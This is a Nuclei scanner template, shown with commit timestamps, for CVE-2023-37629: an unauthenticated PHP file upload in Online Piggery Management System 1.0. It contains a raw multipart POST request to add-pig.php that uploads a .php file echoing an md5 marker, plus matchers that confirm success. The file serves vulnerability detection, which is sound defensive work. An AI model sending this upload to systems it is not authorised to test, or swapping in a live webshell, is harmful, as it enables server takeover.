nuclei-templates/http/cves/2023/CVE-2023-37629.yaml

84 lines
3.1 KiB
YAML
Raw Normal View History

2023-08-29 17:47:46 +00:00
id: CVE-2023-37629
2023-09-12 07:20:58 +00:00
2023-08-29 17:47:46 +00:00
info:
2023-09-12 07:20:58 +00:00
name: Online Piggery Management System v1.0 - Unauthenticated File Upload
author: Harsh
2023-08-29 17:47:46 +00:00
severity: critical
description: |
Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php.
reference:
- https://www.exploit-db.com/exploits/51598
- https://nvd.nist.gov/vuln/detail/CVE-2023-37629
2023-10-14 11:27:55 +00:00
- https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
2023-08-30 02:54:05 +00:00
classification:
2023-08-29 17:47:46 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-37629
cwe-id: CWE-434
2023-10-14 11:27:55 +00:00
epss-score: 0.13691
epss-percentile: 0.95046
2023-10-14 11:27:55 +00:00
cpe: cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:*
2023-08-29 17:47:46 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
vendor: simple_online_piggery_management_system_project
product: simple_online_piggery_management_system
2023-09-15 17:09:22 +00:00
tags: cve,cve2023,fileupload,rce,opms,intrusive
2023-08-29 17:47:46 +00:00
http:
- raw:
- |
POST /pig/add-pig.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
2023-09-12 07:20:58 +00:00
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="pigno"
pig-fms-100
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="weight"
65465
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="arrived"
2023-09-15 17:09:22 +00:00
{{date_time("%Y-%M-%D")}}
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="gender"
female
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="status"
active
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="breed"
2
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="remark"
4fwefwe
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
2023-09-15 17:09:22 +00:00
Content-Disposition: form-data; name="pigphoto"; filename="{{rand_base(5)}}".php"
2023-08-29 17:47:46 +00:00
Content-Type: application/x-php
2023-09-15 17:09:22 +00:00
<?php echo md5('CVE-2023-37629'); ?>
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="submit"
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(content_type, "text/html")'
- 'contains(body, "successfully created")'
condition: and
# digest: 4a0a0047304502205e268f040a14b8297f11fdcf0949650cba9764e46f3be45a214ca29406192f24022100cd1827eda7ab5df2d90791ac00fce61654645eadf0a8604e9ba522f8af263936:922c64590222798bb761d5b6d8e72950